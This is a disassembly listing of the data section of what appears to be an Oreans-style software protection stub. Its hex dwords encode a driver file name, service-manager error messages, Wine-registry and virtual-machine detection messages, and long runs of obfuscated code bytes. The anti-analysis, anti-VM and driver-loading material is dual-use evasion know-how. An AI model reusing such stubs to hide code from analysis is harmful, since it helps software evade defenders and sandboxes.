		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
aSOreans_vxd	db '%s\Oreans.vxd',0
		align 4
		dd 2 dup(0)
aXprotevent	db 'XprotEvent',0
		align 4
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h, 94h,	5, 1, 0A28h, 2,	21h dup(0)
aSoftwareWine	db 'Software\Wine',0
		dw 0C48Bh
		dd 6BE18166h, 0E58589FBh, 5606A91Fh, 1FB98D01h,	8B5A06A9h
		dd 0AB40B9C0h, 0BD8336F6h, 6A9131Dh, 83097500h,	0A91431BDh
		dd 19740006h, 0C08B5350h, 43DB8h, 45858900h, 8D06A924h
		dd 0ABB45C9Dh, 5BD3FF06h, 31BD8358h, 6A914h, 53501774h
		dd 43DB8h, 45858900h, 8D06A924h, 0ABB14B9Dh, 5BD3FF06h
		dd 0E9816658h, 0BE9635Ah, 0A8000000h, 0CF4256DBh, 8A3E68A4h
		dd 0C08BFD6Bh, 969958Bh, 0C08B06A9h, 9575BA66h,	131DBD83h
		dd 750006A9h, 31BD8309h, 6A914h, 53501374h, 0B8C08Bh, 8D000000h
		dd 0ABB2FE9Dh, 5BD3FF06h, 31BD8358h, 6A914h, 53501174h
		dd 0B8h, 0AF9D8D00h, 0FF06ABB1h, 8B585BD3h, 0C18166CAh
		dd 8B53F3A3h, 0A933298Dh, 0C08B5906h, 0D67976B9h, 3C08B4Dh
		dd 0A92A718Dh, 68E0F06h, 29000000h, 0A9353DB5h,	1DBD8306h
		dd 6A913h, 0BD830975h, 6A91431h, 50137400h, 0B8C08B53h
		dd 0
		dd 0B2309D8Dh, 0D3FF06ABh, 0BD83585Bh, 6A91431h, 50117400h
		dd 0B853h, 9D8D0000h, 6ABB17Dh,	585BD3FFh, 12A18D29h, 0BA6606A9h
		dd 0C08B7E98h, 32318D03h, 0C08B06A9h, 14098D89h, 0BD8306A9h
		dd 6A9131Dh, 83097500h,	0A91431BDh, 13740006h, 0C08B5350h
		dd 0B8h, 979D8D00h, 0FF06ABB2h,	83585BD3h, 0A91431BDh
		dd 11740006h, 0B85350h,	8D000000h, 0ABB1969Dh, 5BD3FF06h
		dd 0E1816658h, 958B9154h, 6A920C9h, 8D89C08Bh, 6A91D4Dh
		dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 69BAC9C3h, 30A3DD54h, 0FDBD8B31h,	6606A905h
		dd 0B966FB8Bh, 0BD839C2Bh, 6A9131Dh, 83097500h,	0A91431BDh
		dd 13740006h, 0C08B5350h, 0B8h,	0C99D8D00h, 0FF06ABB1h
		dd 66585BD3h, 1808D181h, 1F65B589h, 0C08B06A9h,	1A99BD8Bh
		dd 0C08B06A9h, 131DBD83h, 750006A9h, 31BD8309h,	6A914h
		dd 53501974h, 0D0B8C08Bh, 89000007h, 0A9244585h, 5C9D8D06h
		dd 0FF06ABB4h, 83585BD3h, 0A91431BDh, 17740006h, 0D0B85350h
		dd 89000007h, 0A9244585h, 4B9D8D06h, 0FF06ABB1h, 0E8585BD3h
		dd 13h,	0E61B9E2Eh, 0CDF7182Ah,	2A14D9EEh, 0EB08543Eh
		dd 8BE7FE09h, 9D895AD0h, 6A90A35h, 0AE9C08Bh, 5E000000h
		dd 2EC5D069h, 0C1647F5Bh, 0B185C6E8h, 5306A916h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0EEC35545h, 42086EAh
		dd 8D1E66E5h, 68FB8B66h, 99395F90h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 4AC35242h, 0A31C0469h, 68B0F21h
		dd 89000000h, 0A90FBDB5h, 55B5FF06h, 8B06A901h,	26858DCEh
		dd 0BF06A93Ch, 45BE8480h, 8B50D0FFh, 0A90FA1BDh, 85895F06h
		dd 6A93281h, 0F88B6660h, 2D65858Bh, 0C66106A9h,	0A916B185h
		dd 6A5706h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0B1550FC3h, 52066829h, 6A9004h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 17E035C3h
		dd 87C7D0FBh, 8F0F7A8Fh, 6, 26099D01h, 816606A9h, 0FFB885EAh
		dd 0A90155B5h, 0DAB96606h, 26858DEBh, 8006A93Ch, 0D0FF88D1h
		dd 1537C781h, 858944F9h, 6A934DDh, 8F496FBFh, 0B185C60Ah
		dd 4306A916h, 68CE8B66h, 0BC907028h, 60F9EE80h,	8D89ACB2h
		dd 6A91F1Dh, 55B5FF61h,	8906A901h, 0A9344D9Dh, 26858D06h
		dd 8B06A93Ch, 0A905D595h, 0FD0FF06h, 68Ch, 0B5858900h
		dd 8906A922h, 0A92C9185h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 7EA68CCEh
		dd 38BCB610h, 0BF0FCB55h, 698D89D1h, 0C606A92Ch, 0A916B185h
		dd 890F4C06h, 0
		dd 0DA1CE968h, 2B5760D9h, 0A934E1B5h, 29B05B06h, 55B5FF61h
		dd 8D06A901h, 0A93C2685h, 0E9F18106h, 0FF29BA59h, 0D7BF0FD0h
		dd 4698589h, 0EABF06A9h, 0C647B906h, 0A916B185h, 0DE94606h
		dd 8E000000h, 0F686A82Bh, 0EDEDD001h, 0A49D7628h, 78CBB966h
		dd 0DE061468h, 0BE9BAh,	0B45F0000h, 0CC391406h,	0D485A922h
		dd 20BA663Bh, 55B5FF2Eh, 6606A901h, 9D86EF81h, 3C26858Dh
		dd 6A06A9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 49BD9EC3h, 0DB5BCA41h, 68B6EA5Bh,	890ED680h
		dd 0A925B595h, 0BAD0FF06h, 0DB7D1E5h, 0FD98589h, 0FC5606A9h
		dd 5BD8959h, 0C606A90Eh, 0A916B185h, 0B5894706h, 6A904C5h
		dd 459D8950h, 5A06A902h, 0FB5E268h, 0AD8D098Ah,	0FF06A92Ch
		dd 0A90155B5h, 52006A06h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 60A4954Bh, 1E0D9503h
		dd 8B6006A9h, 0A93561BDh, 610CB106h, 8DCF8A61h,	0A93C2685h
		dd 5DBD8B06h, 0FF06A912h, 51006AD0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 218589C9h
		dd 6A06A912h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0FB27C356h, 308E5F40h,	33EED5F2h
		dd 0A9104595h, 0C6D48A06h, 0A916B185h, 0D38B4706h, 0D0B5F368h
		dd 198D8B83h, 0FF06A902h, 0A90155B5h, 26858D06h, 8906A93Ch
		dd 0A9152D8Dh, 8B666006h, 0D9858BCAh, 6106A921h, 8B60D0FFh
		dd 0A1EE81CAh, 613F1C68h, 1CBD8589h, 6A06A9h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0EF6CCAC3h
		dd 93F58053h, 0C6D68B59h, 0A916B185h, 0BE87706h, 0C7000000h
		dd 0EB65BA1Dh, 9D83B334h, 12BF64AFh, 5F215438h,	11E9h
		dd 21791800h, 65310065h, 12047710h, 54D8E7F7h, 0A3683B32h
		dd 8BF397A8h, 0A9208D8Dh, 0B787BF06h, 0B5FF5DDDh, 6A92721h
		dd 451B62B9h, 75B58950h, 8D06A909h, 0A93C2685h,	12E906h
		dd 0E8940000h, 93C8D201h, 69C26AEBh, 0F1DCA04Ch, 0D29130C3h
		dd 0D18BD0FFh, 0D98589h, 8B6606A9h, 0C6CE8BFBh,	0A916B185h
		dd 6A4706h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 9063A4C3h, 958B84D4h, 6A910DDh, 28FAF668h
		dd 52006A87h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 55B5FFB6h, 0F06A901h, 858DD7BFh,	6A93C26h
		dd 0FE9h, 0B3D6FD00h, 0E8AED3A5h, 5DFD1B6Bh, 66079641h
		dd 8166D0FFh, 89CB8BDAh, 0A904BD85h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 11D6DB28h
		dd 31AFAF2Eh, 0A903D59Dh, 0B185C606h, 4306A916h, 8E6EFC68h
		dd 0A99D89BCh, 0FF06A91Ch, 0A90155B5h, 26858D06h, 906A93Ch
		dd 0A924DD8Dh, 0E8D0FF06h, 0Dh,	1944AB3Ch, 0EDC475CFh
		dd 459B099h, 0CEBF0F8Ch, 7585895Fh, 0C606A910h,	0A916B185h
		dd 0F2804506h, 69696830h, 0BF668E72h, 0B5FF41E1h, 6A90155h
		dd 6E9h, 505C3B00h, 8D70144Fh, 0A93C2685h, 9E906h, 53C20000h
		dd 0B61DEB0Ch, 0FFB651E7h, 0BD3150D0h, 6A90365h, 159D8959h
		dd 8906A906h, 0A9204185h, 0DD858906h, 0C606A929h, 0A916B185h
		dd 8D894406h, 6A93201h,	0F2EC6468h, 60B966B8h, 2800FD3h
		dd 0B1000000h, 55B5FF0Ah, 8906A901h, 0A925E58Dh, 26858D06h
		dd 6A06A93Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0F9FCC355h, 80C59F6Eh,	0D0FF84D6h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0CCC35545h
		dd 0F9C67C8Ch, 0DF58589h, 6A06A9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0D650ADC3h, 64578BA8h
		dd 0C61AB559h, 0A916B185h, 0BD894306h, 6A90B25h, 764AA768h
		dd 138E0FC0h, 0E9000000h, 0Eh, 0CF9004ADh, 98BDE702h, 3F492312h
		dd 0B5FFB2EDh, 6A90155h, 0EA8AF88Bh, 3C26858Dh,	0D0FF06A9h
		dd 207D8D0Bh, 858906A9h, 6A92A61h, 0E418529h, 0BD8006A9h
		dd 6AC0170h, 0BD840F00h, 80000000h, 858DC4D5h, 6AC0152h
		dd 0FD36BCBAh, 6AF55065h, 56006A01h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 8701B78Bh
		dd 0DE77EA99h, 68E0FD9h, 81000000h, 5B9CADE9h, 0E9006A2Ah
		dd 7, 6F352B51h, 6AD67E74h, 1DB58900h, 0FF06A917h, 0A92C9195h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 66A36B90h, 3F8653FCh, 0BD895000h, 6A9113Dh
		dd 0BD85895Fh, 8906A908h, 0A9020585h, 0FFF6A06h, 68Ch
		dd 35950B00h, 8B06A91Dh, 0BDB5FFCEh, 5106A908h,	59C6D580h
		dd 34DD95FFh, 958B06A9h, 6A90E1Dh, 0F98BC08Bh, 131DBD83h
		dd 750006A9h, 31BD8309h, 6A914h, 53501974h, 0D1B8C08Bh
		dd 89000007h, 0A9244585h, 5C9D8D06h, 0FF06ABB4h, 83585BD3h
		dd 0A91431BDh, 17740006h, 0D1B85350h, 89000007h, 0A9244585h
		dd 4B9D8D06h, 0FF06ABB1h, 66585BD3h, 0DC59E281h, 29820Fh
		dd 0EE80000h, 0D6000000h, 0CD1F7DC7h, 32128186h, 39084239h
		dd 0FE898h, 0D14B0000h,	0EC9CFE1Ch, 50DD1B8Bh, 8FD05366h
		dd 605F592Dh, 0C78AD18Ah, 25BA6661h, 8BC08B71h,	0B185C6FBh
		dd 4706A916h, 0FADF8166h, 6860F1Bh, 81000000h, 6057DBE7h
		dd 0F7C16872h, 0F88B93C8h, 155B5FFh, 816606A9h,	8D9819D1h
		dd 0A93C2685h, 81F98B06h, 36467CC9h, 0E8D0FF2Fh, 9, 0D5A6953Dh
		dd 0CF6A967Ah, 0B985893Ch, 5F06A907h, 0F50E9B6h, 858DD0BFh
		dd 6AC0593h, 0CD3DBA66h, 9400C7h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0D0D4FCC3h
		dd 6850FC6h, 8B000000h,	0A91D4195h, 0B58D5806h,	6AC0593h
		dd 0A5BD2960h, 8106A932h, 506B2DE6h, 29566112h,	0A9127185h
		dd 0E9D0FF06h, 7, 0B2883C67h, 8DCB1AF5h, 0AC059385h, 0F5958B06h
		dd 8306A910h, 0F060478h, 1385h,	0C88B6600h, 62785C7h, 106ACh
		dd 0CA810000h, 10F9C024h, 0D09BD83h, 0F0006A9h,	6685h
		dd 6D8D0100h, 8306A912h, 0AC0627BDh, 850F0006h,	53h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 88C35747h, 0BE99B66h
		dd 0B6000000h, 0D8200ACAh, 0F4A124B7h, 0BD83C5EBh, 6A90599h
		dd 18840F00h, 81000000h, 759B16C7h, 0FA8B660Ah,	0F1D85C7h
		dd 6A9h, 0BF0F0000h, 66D68BD0h,	8960DB8Ch, 0A913E18Dh
		dd 0FE906h, 705E0000h, 67B7C1CDh, 4990AEEBh, 4A818E1Eh
		dd 0C3F661CDh, 47840F04h, 80000006h, 85C787CAh,	6A912ADh
		dd 0
		dd 21298D8Bh, 0BD8006A9h, 6AC017Dh, 5850F00h, 66000000h
		dd 3930D181h, 16B185C6h, 894706A9h, 0A904ED9Dh,	5B866806h
		dd 8B66E3E4h, 55B5FFFEh, 8B06A901h, 26858DF8h, 0E906A93Ch
		dd 10h,	31F55301h, 0AB4947C0h, 6FCEFC93h, 2B6ECD77h, 2E98D2Bh
		dd 0D0FF06A9h, 23CDBD8Bh, 46806A9h, 8B000001h, 7D9D8DFAh
		dd 0B906A906h, 3335BFC6h, 5E8h,	9F4D9900h, 8D89DDEAh, 6A921D5h
		dd 10E95359h, 97000000h, 623E902Dh, 638C019Ah, 82716FF8h
		dd 0FFFED7F7h, 56006AD0h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 858D58A4h, 6A9067Dh, 340D952Bh
		dd 0B65006A9h, 2F858D5Ah, 8B06AC01h, 0A90D45BDh, 10E85006h
		dd 0DA000000h, 89EF6937h, 16ED5B64h, 7E4D3EB5h,	0E9C3D68Dh
		dd 0Dh,	302F40ABh, 0F7AB4DEDh, 8588A506h, 858D59CDh, 6ABF802h
		dd 5798589h, 6A5006A9h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0EBFCC355h,	0D995FF2Dh
		dd 0BA06A900h, 1FF9DA64h, 890CC483h, 0A91A25B5h, 952B6006h
		dd 6A91D01h, 17800Fh, 12E90000h, 6B000000h, 7758F96Eh
		dd 0F56DEBBCh, 9CA3292Bh, 0EDAF7C43h, 6A61E2h, 8068h, 6A036A00h
		dd 68006A00h, 80000000h, 0F802858Dh, 0FF5006ABh, 0A9107595h
		dd 12858906h, 0C606AC01h, 0A916B185h, 87684706h, 0FFC7B15Eh
		dd 0A90155B5h, 26858D06h, 0FF06A93Ch, 0FF006AD0h, 0AC0112B5h
		dd 0B1D0FF06h, 52006A54h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0BC3F925Fh, 71958B13h
		dd 3D06A917h, 37D0h, 6B830Fh, 0FFF80000h, 0AC0112B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0F2321588h, 7FBB2B6Fh, 8B669484h, 0CDBD33FEh, 0FF06A915h
		dd 0A92A6195h, 759D8906h, 0E906A935h, 139h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 16C35545h, 2311B58Bh
		dd 0A921A5BDh, 12B5FF06h, 6A06AC01h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 8884C353h
		dd 0BD31D18Bh, 6A914B5h, 2A6195FFh, 8EBA06A9h, 6A3C07BAh
		dd 4BBF6600h, 6A006A9Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 939CC352h, 0F46CC9DFh
		dd 6AFCF4h, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 17h,	57C35545h, 29DD47C4h, 0A90DE595h, 0BF006A06h, 47C6145Ah
		dd 0E558D09h, 6A06A9h, 24DD9533h, 6A06A9h, 5E9h, 0C4F1D700h
		dd 858DD629h, 6AC0116h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 14h, 28C35242h, 22B7B966h,	6A50F18Ah, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 4BCBC356h, 489C3A60h, 13F98B7Ah, 5F1BD33h, 95FF06A9h
		dd 6A91075h, 41DBD89h, 0F88306A9h, 91850FFFh, 8B000001h
		dd 8858DCFh, 0E906ABBCh, 0Fh, 0E2C026D4h, 0C1196ECBh, 0E195B64Bh
		dd 0FFCC2E1Ch, 0B19589D0h, 6A06A933h, 0D5BD8900h, 6A06A915h
		dd 6E900h, 4ED0000h, 0B5EA6750h, 0BF0F006Ah, 0F006AFFh
		dd 1681h, 11E900h, 0CDDC0000h, 0C28BF5h, 0E0E601B4h, 0DD91559Eh
		dd 6A10915Eh, 0BE900h, 0C8FA0000h, 0AB94660Bh, 78596C3Ch
		dd 0DE9A3h, 0D3950000h,	6135DDDEh, 6FA28D72h, 6AC1A11Bh
		dd 66CE8B00h, 858DD38Bh, 6AC0116h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0A3C35747h,	0CE80C2CDh, 0FBBF0F26h
		dd 6890F50h, 9000000h, 0A92D058Dh, 7595FF06h, 6A06A910h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0AEB4C350h, 958B2D8Bh, 6A91FF5h, 0FFFF883h
		dd 9F85h, 5CB96600h, 1EB58D75h,	0F06ABFBh, 681h, 0E58D2900h
		dd 8D06A926h, 0ABA6B185h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 66FC6B2Bh
		dd 0D0FF9F47h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	4CC35242h, 662D60D4h, 0E8B868BAh, 13h, 27B90E24h
		dd 9FAE40A4h, 36F1D905h, 0FFE7A49Ch, 0E9283321h, 5, 0D21441EBh
		dd 6A59FDh, 1A69BD8Bh, 95FF06A9h, 6A92041h, 205D8D8Bh
		dd 9D8906A9h, 6A90DA5h,	1128589h, 8E906ACh, 0EF000000h
		dd 9D9A56C3h, 6AD02FE0h, 8D10B500h, 0AC010A85h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 5CF297Fh, 8D525289h,	3D850982h, 5006A934h, 46A48B2h
		dd 0D7816660h, 8D8B9F9Fh, 6A9209Dh, 51858D61h, 6606A91Ah
		dd 892142B9h, 0A90B3D9Dh, 6A5006h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0BFEBA6C3h, 8D86416Dh
		dd 93399EEh, 0A911E59Dh, 48C0F06h, 66000000h, 6A9438BAh
		dd 55BD8900h, 6006A91Ah, 0A18529h, 6A6106A9h, 6AD38B00h
		dd 50006A01h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 37FA6F9Bh, 6B384209h, 899D29FCh,	0FF06A934h
		dd 0AC0112B5h, 0D4BA6606h, 0F595FF96h, 6A06A90Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 1DB9C356h, 0E9C8DF8Ch, 0Bh, 0B8F90E64h, 0AF38C6DAh
		dd 0E887EA09h, 10h, 56860889h, 0B2B7A607h, 6984021Ah, 7A8D5A8Eh
		dd 9118589h, 0E95A06A9h, 19CEh,	0DE9h, 8F026700h, 6FC8BCFh
		dd 255752ACh, 0C08BC01Dh, 131DBD83h, 750006A9h,	31BD8309h
		dd 6A914h, 53501974h, 0D2B8C08Bh, 89000007h, 0A9244585h
		dd 5C9D8D06h, 0FF06ABB4h, 83585BD3h, 0A91431BDh, 17740006h
		dd 0D2B85350h, 89000007h, 0A9244585h, 4B9D8D06h, 0FF06ABB1h
		dd 81585BD3h, 5C2B7AF1h, 8B05B50Dh, 14E9C0h, 21100000h
		dd 0AF8643DEh, 0A487A6D7h, 9365F220h, 5406F4F6h, 85C77F90h
		dd 6A912ADh, 1,	6E9h, 4F30E100h, 68B7A9F4h, 0CEE4E7B8h
		dd 4DB5FFh, 858D06A9h, 6A93C26h, 8589D0FFh, 6A92CA5h, 36E858Dh
		dd 8D5006ACh, 0AC062B85h, 1685006h, 0FF800000h,	0A92CA595h
		dd 75C00B06h, 0FD85C70Ah, 106A921h, 68000000h, 0C005DBD4h
		dd 4DB5FFh, 858D06A9h, 6A93C26h, 8589D0FFh, 6A91D85h, 0F5BB858Dh
		dd 0FF5006ABh, 0A90155B5h, 2195FF06h, 0B06A912h, 8B0B74C0h
		dd 6E858DD8h, 5006AC05h, 858DD3FFh, 6AC056Eh, 9388366h
		dd 85C70A75h, 6A92E71h,	1, 4BD95FFh, 0FF2506A9h, 83000000h
		dd 0A7305F8h, 1D9585C7h, 106A9h, 1560000h, 0A9120195h
		dd 0FB8B5906h, 0E860Fh,	9E90000h, 72000000h, 0C75DD342h
		dd 49984A8Ah, 17DBD80h,	0F0006ACh, 1C84h, 6870F00h, 89000000h
		dd 0A920A195h, 27BD8306h, 6AC06h, 0E840Fh, 0E5800000h
		dd 1840E922h, 8D230000h, 6A9324Dh, 2E71BD83h, 0F0006A9h
		dd 9A85h, 0AD950B00h, 8D06A91Eh, 0AC014785h, 860F6006h
		dd 2, 8C0FD38Ah, 6, 25999D8Bh, 506106A9h, 240D9533h, 16A06A9h
		dd 29A18D8Bh, 6A06A9h, 0F6815060h
		dd 92AC0F7h, 5D9D895Eh,	6106A933h, 0D7B6006Ah, 2C9195FFh
		dd 0BD8B06A9h, 6A90FD1h, 1718589h, 6A06ACh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 8589FCC3h
		dd 6A922DDh, 0A9BAFF6Ah, 8B75376Fh, 71B5FFCEh, 5206AC01h
		dd 1109BD8Bh, 0FF5F06A9h, 0A934DD95h, 8D06B206h, 0ABF58285h
		dd 81958B06h, 5006A92Dh, 4898509h, 95FF06A9h, 6A90469h
		dd 33CF8B60h, 0A9016DBDh, 8D8B6106h, 6A90071h, 0F60C8589h
		dd 0F9BF06ABh, 8D0AA337h, 0ABF58F85h, 55958906h, 0F06A928h
		dd 880h, 2800F00h, 52000000h, 860F505Fh, 6, 1D118D29h
		dd 8B6606A9h, 0CB5FFCEh, 0B906ABF6h, 3CC07338h,	122195FFh
		dd 850F06A9h, 0Eh, 9E9h, 3285D700h, 4F1D7A82h, 85893A7Bh
		dd 6A909F1h, 27258D09h,	858D06A9h, 6ABF5FDh, 3205BD29h
		dd 665006A9h, 0B5FFC88Bh, 6ABF60Ch, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 9DC35242h, 50015813h, 33F5BD8Bh
		dd 0F95F06A9h, 2195FFF5h, 0E906A912h, 0Fh, 0A14D33B4h
		dd 0B7C260C3h, 0C1C6B52Eh, 899989FAh, 0ABF62085h, 8D896006h
		dd 6A905C5h, 0DC858D61h, 0E906ABF5h, 13h, 9E318BB2h, 9E3FA434h
		dd 369BF0FAh, 1F339E96h, 8928DD63h, 0A917C18Dh,	9D895006h
		dd 6A92505h, 0F60CB5FFh, 6A06ABh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 595726C3h, 39FAD101h
		dd 458D893Ah, 0FF06A90Dh, 0A9122195h, 79BD8B06h, 8906A92Dh
		dd 0ABF61885h, 8D90B506h, 0ABF5CF85h, 61958B06h, 5006A921h
		dd 0AE9h, 4BB1CF00h, 25EDD846h,	8920703Bh, 0A9013D9Dh
		dd 0CB5FF06h, 0E806ABF6h, 0Ah, 57718A5Ch, 0CA9E4FFAh, 958BAE62h
		dd 6A90165h, 2195FF5Fh,	8906A912h, 0ABF61C85h, 858DF506h
		dd 6ABF5EAh, 50D3B70Fh,	2D81BD03h, 0B5FF06A9h, 6ABF60Ch
		dd 0BD896052h, 6A90489h, 7B7FCE81h, 5A613CCBh, 122195FFh
		dd 0AE906A9h, 54000000h, 8E257A9h, 667C2C59h, 0CD8589C7h
		dd 6606A91Ch, 1FF5C781h, 0F05C21B9h, 9E858D77h,	0F06ABF5h
		dd 586h, 0F031B900h, 0FF5047C0h, 0ABF60CB5h, 0CA816606h
		dd 95FF5165h, 6A91221h,	108589F5h, 0E906ABF6h, 10h, 0C885156Dh
		dd 0CD25471Ch, 0D6428724h, 296467AAh, 0F5AD858Dh, 853106ABh
		dd 6A92A0Dh, 218D8950h,	0FF06A904h, 0ABF60CB5h,	9D958906h
		dd 0FF06A91Ch, 0A9122195h, 0B5BF5606h, 5A5F0AD3h, 0F6148589h
		dd 0BF6606ABh, 468A559h, 8B000001h, 0A902F995h,	0A4858D06h
		dd 0F06ABF6h, 584h, 0C9816600h,	0E950073Fh, 12h, 91F2B45Bh
		dd 7B67DBCh, 54BFDC46h,	29AE22DBh, 2EB58D68h, 0F7A8858Dh
		dd 6A06ABh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 705629C3h, 0C74BF66h, 6A50F88Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 3F35C350h, 0B6A91539h, 8E0F158Bh, 6,	0A49BD8Bh, 8A0F06A9h
		dd 6, 3551BD09h, 95FF06A9h, 6A91CBDh, 26A5958Bh, 0D78106A9h
		dd 2AD3302Fh, 850FC085h, 14h, 0BE8h, 1106AB00h,	936DF13Eh
		dd 28C9033Eh, 59CE8B66h, 17DBD80h, 0F0006ACh, 1085h, 0BAD7B900h
		dd 43E90CE3h, 29000014h, 0A92D9195h, 71BD8306h,	6A92Eh
		dd 30850Fh, 0D1810000h,	47EED4B7h, 10E952h, 0F0980000h
		dd 0FC8D7CE9h, 30881A20h, 4D48052Ch, 835F6B58h,	0AC0627BDh
		dd 840F0006h, 37h, 2449BD8Bh, 858D06A9h, 6ABF641h, 3DBD8Bh
		dd 0F68006A9h, 13ECE983h, 0B5290000h, 6A91A75h,	0DAB2BA66h
		dd 15E9h, 5BC58000h, 5840Fh, 0F2BF0000h, 8D6A36B6h, 0ABF62C85h
		dd 6050F506h, 0F15858Bh, 8D0F06A9h, 6, 29E98D01h, 8D6106A9h
		dd 0ABF6A485h, 0FE906h,	0CDE20000h, 3C71A12Bh, 902A2E92h
		dd 0A75F2F75h, 0E4B5506Bh, 2E71BD83h, 0F0006A9h, 1084h
		dd 0CA858D00h, 6606ABF7h, 0E93181BAh, 8, 0B3858DF5h, 0FC06ABF7h
		dd 38E0F50h, 66000000h,	858DD78Bh, 6ABF802h, 32999589h
		dd 665006A9h, 1A3EF81h,	0D995FFh, 958906A9h, 6A9086Dh
		dd 6A10C483h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
